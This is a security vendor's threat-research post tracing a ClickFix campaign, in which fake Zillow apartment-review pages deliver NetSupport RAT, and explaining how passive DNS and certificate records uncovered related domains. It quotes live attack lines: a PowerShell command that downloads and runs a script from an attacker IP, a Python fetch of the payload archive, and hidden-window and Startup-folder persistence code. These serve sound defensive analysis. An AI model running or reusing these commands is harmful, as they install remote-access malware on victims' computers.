DNS, DHCP & IP Address Management appliances
For Microsoft DNS & DHCP servers
For open source DNS & DHCP servers
Cloud-based visualization of analytics across DDI architecture
Manage multi-vendor cloud DNS servers centrally
RIR Declaration Management and Automation
Automated network device configuration and management
Centralized visibility over all your clouds
A single source of truth for your network automation
Why DDI is an Obvious Starting Point
DNS Threat Intelligence for proactive defense
Intelligence Insights for Threat Detection and Investigation
Adaptive DNS security for service continuity and data protection
Improve Application Access Control to prevent spread of attacks
Protect users and block DNS-based malware activity
Carrier-grade DNS DDoS attack protection
Optimize application delivery performance from the edge
for Proactive Network Security
Visibility, analytics and micro segmentation for effective Zero Trust strategy
Enable work from anywhere by controlling access, security and data privacy
Simplify management and control costs across AWS, Azure and GCP environments
Policy enforcement, risk management, and automation for simplifying compliance
Risk-free migration to reduce DDI complexity and cost
Move risk-free to improve performance, security and costs
Automate management, unify control and strengthen security of connected devices
Protect your network against all DNS attacks, data exfiltration and ransomware
Enable zero touch operations for network management and security
Improve resiliency, deployment velocity and user experience for SD-WAN projects
Integrated DNS, DHCP, IPAM services to simplify, automate and secure your network.
Simplify design, deployment and management of critical DDI services for telcos
Optimize administration and security of critical DDI services for healthcare
Simplify and automate management of critical DDI services for finance
Simplify and automate management of critical DDI services for higher education
Simplify and automate management of critical DDI services for retail
Simplify Management and Automation for Network Operations Teams
Elevate SecOps Efficiency by Simplifying Threat Response
Enable DevOps practices to deliver consistent network operations.
Open architecture for DDI integration
Technology partnerships for network security & management ecosystems
Extend security perimeters and strengthen network defenses
Submit requests for temporary licenses
Submit access requests for EfficientIP knowledge platforms
Submit membership requests for EfficientIP Community
Strengthen your network security with insights from the Forrester 2025 Study on DNS Security.
Customer-centric DDI project delivery and training
Acquire the skills needed to manage EfficientIP SOLIDserverâ„¢
Identify vulnerabilities with an assessment of your DNS traffic
Test your protection against data breaches via DNS
Dedicated representation for your organization inside EfficientIP
Explore content which helps manage and automate your network and cloud operations
Read content which strengthens protection of your network, apps, users and data
Learn how to enhance your app delivery performance to improve resilience and UX
See all your assets in one place
This enterprise-grade cloud platform allows you to improve visibility, enhance operational efficiency, and optimize network performance effortlessly.
Who we are and what we do
Meet the team of leaders guiding our global growth
Technology partnerships for network security and management ecosystems
Make your cloud projects successful with insights from the 2025 EMA Hybrid Multi-cloud Report.
Discover the benefits of the SmartPartner global channel program
Become a part of the innovation
The latest updates, release information, and global events
EfficientIP Research Labs traced a ClickFix NetSupport RAT campaign from fake Zillow pages to its malware infrastructure. Passive DNS, Certificate Transparency and application analysis connected related domains and supported DNS-based protection.
November 12, 2026 | Written by: Mathieu De Amorim | DNS Security
Summary
Tags
DNS FilteringDNS SecurityEnterprise Network SecurityMalwareThreat Intelligence
A routine apartment search could give attackers control of a company computer. EfficientIP Research Labs investigated a campaign that used fake Zillow apartment-review pages to trick visitors into installing remote-control software. Disguised as a verification step, the instructions led users to run a command that downloaded and installed the attackers’ software.The analysis showed how the software could run out of sight and restart whenever the user logged in, helping attackers maintain access. Researchers also connected the fake websites to a wider network of attack infrastructure. By combining historical DNS activity, public website certificate records and analysis of the malicious pages and software, they identified additional domains beyond those initially observed.If successful on a work computer, the attack could allow bad actors to steal sensitive company information available to the employee. The investigation did not confirm victims or data theft, but it demonstrates how personal browsing can create business exposure. For security teams, the findings also show the value of investigating connected infrastructure: identifying related malicious domains can help extend protection beyond the first website detected.
Imagine a CFO searching for an apartment on his work laptop. He opens what looks like a page from Zillow, a US real estate platform for homes and rentals. Before he can continue, a verification window asks him to follow a few keyboard steps. In this hypothetical scenario, a routine apartment search becomes the starting point for a ClickFix NetSupport RAT infection.He follows the instructions and unknowingly runs a command that downloads remote-control software. Deployed as a remote access trojan (RAT), this software lets an attacker take control of his computer and steal sensitive company files available on the laptop.While the CFO’s story is hypothetical, the trap is real. EfficientIP Research Labs investigated a campaign that used fake Zillow pages and deceptive verification prompts to deliver NetSupport RAT. The investigation follows the attack from those pages to the downloader and remote-access infrastructure, showing how DNS threat intelligence, certificate records and application analysis helped researchers connect the evidence.
EfficientIP Research Labs identified recently registered .sbs domains posing as Zillow apartment-review pages. Each malicious website reproduced the same design and used an identical ClickFix attack to deliver NetSupport RAT.ClickFix is a social-engineering technique that tricks users into running commands to fix a supposed problem or complete a verification.
When a user clicks Continue, the page copies a PowerShell command to the clipboard and asks them to run it through:Win+R → Ctrl+V → Enter
The command is:powershell -ExecutionPolicy Bypass "iwr 1495423691/winup2 -OutFile $env:temp\winup2.ps1 -UseBasicParsing;&$env:temp\winup2.ps1"
It downloads the script to the temporary folder and executes it. The address appears as a decimal DWORD, a numeric representation of the IPv4 address:1495423691 → 89.34.90.203
The /winup2 script downloads and installs NetSupport RAT, then configures it to run again when the user logs in.
The script relaunches itself with ExecutionPolicy Bypass and hides the PowerShell window:Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`" -Elevated" -WindowStyle Hidden
It sets %APPDATA%\NetSupport as the installation directory and prepares temporary directories under %TEMP%:$appData = [Environment]::GetFolderPath('ApplicationData')$installDir = Join-Path $appData 'NetSupport'tempFolder="env:TEMP\AppSetup"
The PowerShell script writes an embedded Python script to disk and runs it with a downloaded Python runtime. The Python code retrieves the next-stage payload:url = "http://89.34.90.203/mestos2.zip"urllib.request.urlretrieve(url, zip_path)
The script extracts the archive into a temporary directory and copies its contents to %APPDATA%\NetSupport. It then searches for Service.exe and creates a shortcut in the Windows Startup folder:$startupFolder = Join-Path $appData 'Microsoft\Windows\Start Menu\Programs\Startup'$lnkPath = Join-Path $startupFolder 'NetSupport.lnk'
The shortcut points to the downloaded Service.exe, allowing it to run at user logon:$shortcut.TargetPath = $exePath$shortcut.WorkingDirectory = $installDir$shortcut.Save()
Finally, the script launches the payload with its window hidden:Start-Process -FilePath $exePath -WorkingDirectory $installDir -WindowStyle Hidden
The script combines PowerShell and Python to download and install NetSupport RAT. A Startup shortcut provides persistence. The hard-coded address, 89.34.90.203/mestos2.zip, gives researchers another clue linking the downloader to the NetSupport deployment.NetSupport Manager is legitimate remote administration software. In this campaign, attackers abused it for malicious remote control.The deployed client’s configuration also identified two gateway domains:asgomd[.]comasgrsv[.]comThese settings connected the installed client to further remote-access infrastructure.
Return to the CFO’s laptop. The apartment search is personal, but the files available on the device may belong to the company. Remote control could allow an attacker to access that information within the compromised user’s permissions.The investigation documents the infection mechanism and configured remote-access infrastructure. It does not establish an actual CFO victim or confirmed data theft.For organizations investigating suspicious activity, a DNS Risk Assessment can help identify threats and areas needing further analysis.
The domains initially appeared unrelated. They did not consistently share authoritative nameservers, and their DNS records resolved to different Cloud flare IP addresses.The website and payload evidence told a clearer story. The domains shared:
Together, these similarities strongly link the analysed domains to the same campaign. Shared Cloud flare addresses alone would not establish that connection or prove malicious activity.Related research into a ViperSoftX infostealer variant shows another application of EfficientIP’s DNS intelligence to malware investigations.
The investigation began with a small number of domains observed in EfficientIP Passive DNS. The Threat team subsequently blocked them through DNS Threat Pulse.Passive DNS records observed domain resolutions over time. The initial dataset revealed a recurring naming pattern:apartments-review[0-9]+.sbs
Researchers used this pattern to search for related domains. Current DNS records alone offered limited visibility: the domains were short-lived, and Cloud flare obscured their underlying hosting infrastructure.Certificate Transparency (CT) provided another source. CT logs contain public TLS certificate records, including domain names.Instead of generating potentially hundreds of millions of matching names and querying DNS for each, researchers searched CT datasets collected by EfficientIP’s Security Team. Obtaining a publicly trusted TLS certificate generally creates a record in Certificate Transparency logs. These records give researchers another way to discover related domains, including those not yet observed in EfficientIP’s Passive DNS data. The CT search revealed additional apartments-review*.sbs domains absent from the initial Passive DNS dataset. Certificate records provided leads for further analysis, rather than proof of malicious activity on their own.
The table preserves the campaign’s landing-page indicators and supporting infrastructure from the original analysis. Cloudflare IP addresses may also serve unrelated websites.
This activity may belong to a broader ClickFix campaign whose infrastructure continues to change. EfficientIP monitors related domains using Passive DNS, CT and other threat intelligence sources, adding newly identified malicious domains to DNS Threat Pulse.DNS Client Query Filtering lets organizations apply policies that restrict access to malicious destinations.However, the downloader connects directly to an IP address. DNS filtering alone cannot stop that transfer. Endpoint controls and monitoring for unexpected script execution remain essential. Employees should also recognize and report pages asking them to paste commands into system tools.This campaign illustrates how EfficientIP’s 360° DNS Security solution complements endpoint protection.
A convincing verification prompt can turn an everyday search into a route to remote access. Connecting DNS observations, certificate records and application evidence helps researchers uncover the infrastructure behind that risk.For broader research into malicious infrastructure, read the H1 2026 DNS Threat Intelligence Report.
A remote access trojan gives an attacker remote control of a compromised computer. In this campaign, attackers abused NetSupport, legitimate remote administration software, to provide that access. Information available to the compromised user may then be exposed.
Fake Zillow pages tricked users into running a copied PowerShell command. The downloaded script used Python to retrieve the NetSupport payload, installed it and created a Windows Startup shortcut for persistence. It then launched the payload with its window hidden.
EfficientIP’s Passive DNS data revealed a recurring domain-naming pattern. Researchers used that pattern to search certificate records for additional domains. Website and payload analysis helped establish connections between them.
No, DNS filtering cannot stop every stage of this chain. It can restrict access to identified malicious domains, but the downloader’s direct-IP connection does not require a DNS lookup. Endpoint controls and monitoring provide complementary protection.
Explore how EfficientIP DNS Threat Pulse provides updated malicious-domain intelligence to support DNS filtering and help protect users from attacker infrastructure.
Talk to an expert
Summarize
Networks
Explore content highlighting the value EfficientIP solutions bring to your network
